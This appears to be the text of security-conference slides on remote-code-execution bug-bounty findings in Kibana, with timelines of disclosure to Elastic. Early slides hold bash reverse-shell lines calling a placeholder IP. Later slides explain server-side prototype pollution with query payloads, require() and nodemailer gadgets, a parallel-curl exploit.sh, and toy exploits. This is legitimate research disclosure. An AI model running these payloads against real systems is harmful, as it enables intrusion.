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Who is Kibana?
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▪ Kibana is the “K” in the popular ELK Stack: Elasticsearch, Logstash, and Kibana,         

a widely used toolchain for Data Visualization and Real-Time Data Analysis.

▪ Kibana is an open-source, TypeScript, Node.js-based application.

▪ Kibana has >10M LoCs and >2K dependencies, and 300 – 400 commits per week.

▪ Kibana has a Bug Bounty Program with $3,000 – $7,000 rewards for Critical reports.

▪ Kibana is a great target for Bug Hunters.

https://www.elastic.co/elastic-stack
https://hackerone.com/elastic
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Elastic Security Team
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STORY I:
HOW IT ALL

BEGAN?



Story I: Elastic Bug Bounty Campaign

6



Story I: What is Synthetic Monitoring?
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Story I: Paste your hm… script…
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step('Go to https://example.org/', async () => {
await page.goto('https://example.org/');
expect(await page.innerText('role=heading')).toMatch('Example Domain');

});

Story I: script?..
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step('Go to https://example.org/', async () => {
require('child_process')

.execSync('bash -i >& /dev/tcp/<reverseShellIP>/<reverseShellPort> 0>&1')
});

Story I: JS script?..
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step('Go to https://example.org/', async () => {
global.process.mainModule.constructor._load('child_process')

.execSync('bash -i >& /dev/tcp/<reverseShellIP>/<reverseShellPort> 0>&1')
});

Story I: JS script… RCE!!!

11



Story I: RCE!!!  .
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Story I: RCE???
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▪ [Aug 28, 2023] Reported to Elastic Bug Bounty via H1.

▪ [Sep,  2023] Discussing the report with the Elastic Security team.

▪ [Oct 2, 2023] Feedback from the Elastic team and “Needs more info” status: 

“Synthetics by design is literally arbitrary code execution as a service in which 

Elastic deploys a number of security features to prevent exploitation.

For a successful exploit, someone would have to do something beyond getting a shell 
as someone does not have privileges beyond the container.

”



Story I: Where are we?..
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▪ This is an isolated container as we already know.

▪ The container is running in the Kubernetes cluster on Google Cloud Platform.

▪ Affect other clients on the same container? No, the container runs per task.

▪ Escape the container? No, it’s a secure configuration of up-to-date Kubernetes version.

▪ Access to GCP metadata API? No, again.



Story I: Where are we?..

15

▪ This is an isolated container as we already know.

▪ The container is running in the Kubernetes cluster on Google Cloud Platform.

▪ Affect other clients on the same container? No, the container runs per task.

▪ Escape the container? No, it’s a secure configuration of up-to-date Kubernetes version.

▪ Access to GCP metadata API? No, again.

▪ I found the same Docker image for private Kubernetes cluster.

containers:
- name: heartbeat

image: {dockerimage}
securityContext:

runAsUser: 1000
runAsGroup: 1000
capabilities:

add: [ NET_RAW ]



Story I: Where are we?..

16

▪ This is an isolated container as we already know.

▪ The container is running in the Kubernetes cluster on Google Cloud Platform.

▪ Affect other clients on the same container? No, the container runs per task.

▪ Escape the container? No, it’s a secure configuration of up-to-date Kubernetes version.

▪ Access to GCP metadata API? No, again.

▪ I found the same Docker image for private Kubernetes cluster.

▪ We can send any raw packages to the network!!! Including ARP-packages ☻

*figure from https://www.thesslstore.com/blog/everything-you-need-to-know-about-arp-spoofing/



Story I: Standing on the shoulders of giants

17



Story I: ARP spoofing
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Story I: RCE + ARP spoofing
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▪ [Aug 28, 2023] Reported to Elastic Bug Bounty via H1.

▪ [Sep, 2023] Discussing the report with the Elastic Security team.

▪ [Oct 2, 2023] Feedback from the Elastic team and “Needs more info” status.

▪ [Jan 11, 2024] Updated the report to demonstrate ARP spoofing

▪ [Jan 27, 2024] Elastic triaged the report

▪ [Jul 30, 2024] Elastic rewarded the report



Server-Side Prototype Pollution (SSPP)
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Server-Side Prototype Pollution (SSPP)
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https://youtu.be/gCVTbfDecwI https://youtu.be/v5dq80S1WF4

https://youtu.be/gCVTbfDecwI
https://youtu.be/v5dq80S1WF4


Server-Side Prototype Pollution 101
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let server = http.createServer(
(req, res) => {
const {pathname, query} = 
url.parse(req.url, true);

if (pathname === '/update')
handleUpdate(query);

if (pathname === '/backup')
handleBackup();

}
);

server.listen(8080);

index.js

Code  Heap

22

node

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

/update?

org=DEFCON&

prj=Security&

details=2024

/backup



Server-Side Prototype Pollution 101
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let server = http.createServer(
(req, res) => {
const {pathname, query} = 
url.parse(req.url, true);

if (pathname === '/update')
handleUpdate(query);

if (pathname === '/backup')
handleBackup();

}
);

server.listen(8080);

index.js

Code  Heap
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node

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

/update?

org=__proto__&

prj=shell&

details=calc

Attacker



Server-Side Prototype Pollution 101
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function handleUpdate(query){
const obj = {}; /* ... */
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

Code  Heap

node
/update?

org=__proto__&

prj=shell&

details=calc

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

obj['__proto__']

p['shell'] = 'calc'

obj

__proto__:



Server-Side Prototype Pollution 101
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function handleUpdate(query){
const obj = {}; /* ... */
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

Code  Heap

node

25

/update?

org=__proto__&

prj=shell&

details=calc

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

shell: 'calc'

obj['__proto__']

p['shell'] = 'calc'

obj

__proto__:



Server-Side Prototype Pollution 101

function handleUpdate(query){
const obj = {}; /* ... */
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

Code  Heap

node
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/update?

org=__proto__&

prj=shell&

details=calc

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

shell: 'calc'

Prototype 

Pollution

obj

__proto__:



Server-Side Prototype Pollution 101

function execHelper(args, options){
const cmd = options.shell ||
'cmd.exe /k';

exec(`${cmd} ${args}`)
}

execHelper('backup-script.bat’, {})

handleBackup.js

Code  Heap

handleUpdate.js

node

27

/backup

/update?

org=__proto__&

prj=shell&

details=calc

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

shell: 'calc'

'calc'

Gadget

'calc'

options

__proto__:
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STORY II:
PROTOTYPE POLLUTION,

ARE YOU RCE?



Story II: SSPPs in Kibana

▪ I tried Silent Spring CodeQL queries https://github.com/KTH-LangSec/silent-spring

against Kibana. CodeQL terminated by timeout and provided no results

▪ OK, I implemented a script that re-runs CodeQL for sub-folders if the analysis is 

timed out. This script reported 77 cases in the application itself:

▪ Let’s look into few SSPPs together.

☻

▪ 33 client-side cases;

▪ 44 server-side cases including the testing code and FPs.

https://github.com/KTH-LangSec/silent-spring


Story II: SSPP in Config Parser 

function ensureDeepObject(obj:any):any {
if (obj == null || typeof obj !== 'object')
return obj;

const keys = Object.keys(obj);
return keys.reduce((fullObj, key)=>{
if (!key.includes('.'))

fullObj[key] = ensureDeepObject(obj[key]);
else

walk(fullObj, key.split('.'), obj[key]);

return fullObj;
}, {} as any);

}

function walk(obj:any, keys:string[], val:any){
const key = keys.shift()!;
if (keys.length === 0) {
obj[key] = val;
return;

}

if (obj[key] === undefined)
obj[key] = {};

walk(obj[key], keys, ensureDeepObject(val));
}

▪ Parser of kibana.yml uses the following code to expend dot-separated names into 

nested objects, e.g., { a.b: "c" } → { a: { b: "c" } }
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Story II: SSPP in Config Parser 

function ensureDeepObject(obj:any):any {
if (obj == null || typeof obj !== 'object')
return obj;
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Story II: SSPP in Config Parser 

function ensureDeepObject(obj:any):any {
if (obj == null || typeof obj !== 'object')
return obj;

const keys = Object.keys(obj);
return keys.reduce((fullObj, key)=>{
if (!key.includes('.'))

fullObj[key] = ensureDeepObject(obj[key]);
else

walk(fullObj, key.split('.'), obj[key]);

return fullObj;
}, {} as any);

}

function walk(obj:any, keys:string[], val:any){
const key = keys.shift()!;
if (keys.length === 0) {
obj[key] = val;
return;

}

if (obj[key] === undefined)
obj[key] = {};

walk(obj[key], keys, ensureDeepObject(val));
}

▪ Parser of kibana.yml uses the following code to expend dot-separated names into 

nested objects, e.g., { a.b: "c" } → { a: { b: "c" } }

{ __proto__.polluted: "yes " }



Story II: SSPP in Config Parser 

▪ Parser of kibana.yml uses the following code to expend dot-separated names into 

nested objects, e.g., { a.b: "c" } → { a: { b: "c" } }

▪ Elastic Cloud Enterprise provides a Web UI to edit kibana.yml.

▪ An attacker can store any payload in kibana.yml and restart Kibana instance to load 

the configs, thereby triggering Prototype Pollution.

▪ BUT Kibana crashes immediately after Prototype Pollution occurs because other code 

does not expect any additional properties in Object.prototype.



Story II: SSPP in Config Parser 

▪ Parser of kibana.yml uses the following code to expend dot-separated names into 

nested objects, e.g., { a.b: "c" } → { a: { b: "c" } }

▪ Elastic Cloud Enterprise provides a Web UI to edit kibana.yml.

▪ An attacker can store any payload in kibana.yml and restart Kibana instance to load 

the configs, thereby triggering Prototype Pollution.

▪ BUT Kibana crashes immediately after Prototype Pollution occurs because other code 

does not expect any additional properties in Object.prototype.

▪ An ACE gadget in require() could potentially exploit this PP, and we detected and 

published such a gadget in the Silent Spring paper☻



Story II: require() gadget

36

Code  Heap

36

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

node

function handleUpdate(query){
const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js



Story II: require() gadget
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Code  Heap

37

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

main: '.../dist/npm.js'

node

function handleUpdate(query){
const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

/update?

org=__proto__&

prj=env&

details={

"NODE_OPTIONS": 

"--inspect-brk=0.0.0.0"

}



Story II: require() gadget
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Code  Heap

38

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

main: '.../dist/npm.js'

env: ...

node

function handleUpdate(query){
const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

/update?

org=__proto__&

prj=env&

details={

"NODE_OPTIONS": 

"--inspect-brk=0.0.0.0"

}



Story II: require() gadget
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Code  Heap

39

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

main: '.../dist/npm.js'

env: ...

node

function handleUpdate(query){
const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;
/* ... */

}

handleUpdate.js

/update?

org=__proto__&

prj=env&

details={

"NODE_OPTIONS": 

"--inspect-brk=0.0.0.0"

}

/backup

/* ... */
const bytes = require('bytes');

handleBackup.js



Story II: require() gadget
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Code  Heap

40

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

main: '.../dist/npm.js'

env: ...

/update?

org=__proto__&

prj=env&

details={

"NODE_OPTIONS": 

"--inspect-brk=0.0.0.0"

}

/backup

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}

node parsed

name: "bytes"

version: "3.1.1"

license: "MIT"

__proto__:

'.../dist/npm.js'

'.../dist/npm.js'



Story II: require() gadget
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Code  Heap

41

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

main: '.../dist/npm.js'

env: ...

/update?

org=__proto__&

prj=env&

details={

"NODE_OPTIONS": 

"--inspect-brk=0.0.0.0"

}

/backup

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}

node

/* ... */
const child = spawn('node', args);

npm.js



Story II: require() gadget
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Code  Heap

42

/update?

org=__proto__&

prj=main&

details=…/dist/npm.js

Attacker

Object prototype

__proto__: null

toString: <function>

valueOf: <function>

constructor: <function>

main: '.../dist/npm.js'

env: ...

/update?

org=__proto__&

prj=env&

details={

"NODE_OPTIONS": 

"--inspect-brk=0.0.0.0"

}

/backup

function spawn(file, args, opts) {
if (opts === undefined)
opts = {};

if (opts.shell) {
args = ['-c', file, ...args];
file = opts.shell;

}

const env = opts.env||process.env;
spawn_internal(file, args, env);

}

node

'node'
{
"NODE_OPTIONS":
"--inspect-brk=0.0.0.0"

}



BUT the gadget has been fixed 

by the Node.js team at that time 

Story II: SSPP in Config Parser 

▪ Parser of kibana.yml uses the following code to expend dot-separated names into 

nested objects, e.g., { a.b: 'c'} → { a: { b: 'c' } }.

▪ Elastic Cloud Enterprise provides a Web UI to edit kibana.yml.

▪ An attacker can store any payload in kibana.yml and restart Kibana instance to load 

the configs, thereby triggering Prototype Pollution.

▪ BUT Kibana crashes immediately after Prototype Pollution occurs because other 

code does not expect any additional properties in Object.prototype.

▪ An ACE gadget in require() could potentially exploit this PP, and we detected and 

published such a gadget in the Silent Spring paper☻☻



Story II: require() gadget

44

function loadConfig(dir) {
const jsonPath = path.resolve(dir, 'package.json');
const json = packageJsonReader.read(jsonPath).str;
if (json === undefined) {
return false;

}

const parsed = JSON.Parse(json);
const filtered = {
main: parsed.main,
exports: parsed.exports,
/* ... */

};

return filtered;
}

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}



Story II: require() gadget fix
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function loadConfig(dir) {
const jsonPath = path.resolve(dir, 'package.json');
const json = packageJsonReader.read(jsonPath).str;
if (json === undefined) {
return false;

}

const filtered=filterOwnProperties(JSONParse(json), 
[
'name',
'main',
'exports',
'imports',
'type'

]);

return filtered;
}

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}



Story II: require() gadget fix
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function loadConfig(dir) {
const jsonPath = path.resolve(dir, 'package.json');
const json = packageJsonReader.read(jsonPath).str;
if (json === undefined) {
return false;

}

const filtered=filterOwnProperties(JSONParse(json), 
[
'name',
'main',
'exports',
'imports',
'type'

]);

return filtered;
}

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}

▪ GHunter analyzer detects the require() gadget again! WHAT?!?



▪ GHunter analyzer detects the require() gadget again! WHAT?!?

Story II: require() gadget fix

47

const jsonPath = path.resolve(dir, 'packa
const json = packageJsonReader.read(jsonP
if (json === undefined) {
return false;

}

const filtered=filterOwnProperties(JSONPa
[
'name',
'main',
'exports',
'imports',

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}



▪ GHunter analyzer detects the require() gadget again! WHAT?!?

Story II: require() gadget fix
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const jsonPath = path.reso
const json = packageJsonRe
if (json === undefined) {
return false;

}

const filtered=filterOwnPr

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}



▪ GHunter analyzer detects the require() gadget again! WHAT?!?

Story II: require() gadget fix

49

if (json === undefined){
return false;

}

function require(id) {
const parsedJson = loadConfig(id);

evaluateJSFile(parsedJson.main);
}



Story II: SSPP in Config Parser 

▪ Parser of kibana.yml uses the following code to expend dot-separated names into 

nested objects, e.g., { a.b: 'c'} → { a: { b: 'c' } }.

▪ Elastic Cloud Enterprise provides a Web UI to edit kibana.yml.

▪ An attacker can store any payload in kibana.yml and restart Kibana instance to load the 

configs, thereby triggering Prototype Pollution.

▪ BUT Kibana crashes immediately after Prototype Pollution occurs because other code 

does not expect any additional properties in Object.prototype.

▪ An ACE gadget in require() could potentially exploit this PP, and we detected and 

published such a gadget in the Silent Spring paper     BUT the gadget had been fixed by 

the Node.js team by that time
☻☻

▪ The new require() allows us to exploit this PP 

and leads to RCE ☻
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STORY III:
EXPLOIT ‘EM ALL!



Story III: SSPP in Request Handler

52

▪ The request handler DELETE /internal/uptime/service/enablement is vulnerable to PP:

async getSyntheticsParams({ spaceId }: { spaceId?: string } = {}) {
const finder = await createFinder();
const paramsBySpace: Record<string, Record<string, string>> = {};

for await (const response of finder.find()) {
response.saved_objects.forEach((param) => {

param.namespaces?.forEach((namespace) => {
if (!paramsBySpace[namespace]) {

paramsBySpace[namespace] = {};
}
paramsBySpace[namespace][param.attributes.key] = param.attributes.value;

});
});

}

return paramsBySpace;
}



Story III: SSPP in Request Handler
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▪ The request handler DELETE /internal/uptime/service/enablement is vulnerable to PP:

async getSyntheticsParams({ spaceId }: { spaceId?: string } = {}) {
const finder = await createFinder();
const paramsBySpace: Record<string, Record<string, string>> = {};

for await (const response of finder.find()) {
response.saved_objects.forEach((param) => {

param.namespaces?.forEach((namespace) => {
if (!paramsBySpace[namespace]) {

paramsBySpace[namespace] = {};
}
paramsBySpace[namespace][param.attributes.key] = param.attributes.value;

});
});

}

return paramsBySpace;
}



Story III: SSPP in Request Handler
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▪ The request handler DELETE /internal/uptime/service/enablement is vulnerable to PP.

▪ At the same time, we investigated PP gadgets in NPM packages and detected              

49 gadgets leading to RCE in popular packages using our research tool, Dasty.

▪ One of the detected gadget is in nodemailer which Kibana also uses:

class SendmailTransport {
constructor(options) {
options = options || {};
this.path = 'sendmail';
if (options) {

if (typeof options === 'string') {
/* ... */

} else if (typeof options === 'object'){
if (options.path) {
this.path = options.path;
this.args = options.args;

} } } } }

send(mail, done) {
sendmail = this._spawn(this.path, this.args);

}



Story III: SSPP in Request Handler
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▪ The request handler DELETE /internal/uptime/service/enablement is vulnerable to PP.

▪ At the same time, we investigated PP gadgets in NPM packages and detected              

49 gadgets leading to RCE in popular packages using our research tool, Dasty.

▪ One of the detected gadget is in nodemailer which Kibana also uses.

▪ BUT DELETE handler crashes the app in less than one second after the PP 
☻



Story III: SSPP in Request Handler
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▪ The request handler DELETE /internal/uptime/service/enablement is vulnerable to PP.

▪ At the same time, we investigated PP gadgets in NPM packages and detected              

49 gadgets leading to RCE in popular packages using our research tool, Dasty.

▪ One of the detected gadget is in nodemailer which Kibana also uses.

▪ BUT DELETE handler crashes the app in less than one second after the PP 

▪ Let’s emulate a “race condition” by sending a lot of gadget-triggered requests in 

parallel and one PP-triggered request between them!

☻



Story III: exploit.sh
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for i in {1..20}
do

curl -X POST \
# skipped parameters
"${base_url}/api/gadget" &

done &

curl -X DELETE \
"${base_url}/api/prototype_pollution" &

for i in {20..70}
do

curl -X POST \
# skipped parameters
"${base_url}/api/gadget" &

done

wait



Story III: exploit.sh
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Story III: SSPP in Request Handler
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▪ The request handler DELETE /internal/uptime/service/enablement is vulnerable to PP.

▪ At the same time, we investigated PP gadgets in NPM packages and detected              

49 gadgets leading to RCE in popular packages using our research tool, Dasty.

▪ One of the detected gadget is in nodemailer which Kibana also uses.

▪ BUT DELETE handler crashes the app in less than one second after the PP 

▪ Let’s emulate a “race condition” by sending a lot of gadget-triggered requests in 

parallel and one PP-triggered request between them 

☻

☻
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}

Exploit:
handleUpdate({

org: "__proto__",
prj: "runner",
details: {
path: "node",
args: ["-e", "console.log('PWNED')"]

}
});

handleBackup();
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = {id:1};

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}

Exploit:
handleUpdate({

org: "__proto__",
prj: "runner",
details: {
path: "node",
args: ["-e", "console.log('PWNED')"]

}
});

handleBackup();
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = [];

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}

Exploit:
handleUpdate({

org: "__proto__",
prj: "runner",
details: {
path: "node",
args: ["-e", "console.log('PWNED')"]

}
});

handleBackup();
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = [];

/* ... */
}

function handleSomethingSafe(query) {
if (query.org == "__proto__")
return;

const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}

Exploit:
handleUpdate({

org: "__proto__",
prj: "runner"

})
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = [];

/* ... */
}

function handleSomethingSafe(query) {
if (query.org == "__proto__")
return;

const obj = {};
const p = obj[query.org];
p[query.prj] = query.details;

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}

Exploit:
handleUpdate({

org: "__proto__",
prj: "runner"

})

handleSomethingSafe({
org: "runner",
prj: "path",
details: "node"

})

handleSomethingSafe({
org: "runner",
prj: "args",
details: ["-e",
"console.log('PWNED')"]

})

handleBackup();
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Prototype Pollution:
function handleUpdate(query) {

const obj = {};
const p = obj[query.org];
p[query.prj] = [];

/* ... */
}

function handleSomethingSafe(query) {
const _ = require('lodash');
_.merge({}, query);

/* ... */
}

Gadget:
function handleBackup(opt) {

opt = opt || {};
if (opt.runner) {
spawn(opt.runner.path, opt.runner.args);

}
/* ... */

}

Exploit:
handleUpdate({

org: "__proto__",
prj: "runner"

})

☻
handleSomethingSafe({

runner: {
path: "node",
args: ["-e",
"console.log('PWNED')"]

}
})

handleBackup();
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▪ Don’t give up      Exploit RCEs for fun and bounties

▪ Check out our research tools for detecting Prototype Pollutions and their gadgets:

Silent Spring https://github.com/KTH-LangSec/silent-spring

GHunter https://github.com/KTH-LangSec/ghunter

Dasty https://github.com/KTH-LangSec/Dasty

▪ Check out the biggest collection of Server-Side Prototype Pollution gadgets in 

Node.js, Deno and NPM packages:                                              
https://github.com/KTH-LangSec/server-side-prototype-pollution

▪ Check out ARP spoofing tooling https://www.cyberark.com/resources/threat-research-

blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1

68

kth.se/profile/msh

c

github.com/yusketwitter.com/yu5k
3

#68

kth.se/profile/msh

c

github.com/yusketwitter.com/yu5k
3

#68Thanks for your attention!
https://twitter.com/yu5k3

☻

☻

https://github.com/KTH-LangSec/silent-spring
https://github.com/KTH-LangSec/ghunter
https://github.com/KTH-LangSec/Dasty
https://github.com/KTH-LangSec/server-side-prototype-pollution
https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
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▪ Eric Cornelissen, Mikhail Shcherbakov, and Musard Balliu. “GHunter: Universal 

Prototype Pollution Gadgets in JavaScript Runtimes.” In 33rd USENIX Security 

Symposium (USENIX Security’24), Philadelphia, PA, USA. August 14 - 16, 2024.

▪ Mikhail Shcherbakov, Paul Moosbrugger, and Musard Balliu. “Unveiling the Invisible: 

Detection and Evaluation of Prototype Pollution Gadgets with Dynamic Taint Analysis.” 

In The ACM Web Conference 2024 (WWW’24), Singapore, Singapore. May 13 - 17, 2024.

▪ Mikhail Shcherbakov, Musard Balliu, and Cristian-Alexandru Staicu. “Silent Spring: 

Prototype Pollution Leads to Remote Code Execution in Node.js.” In 32nd USENIX 

Security Symposium (USENIX Security’23), Anaheim, CA, USA. August 9 - 11, 2023. 
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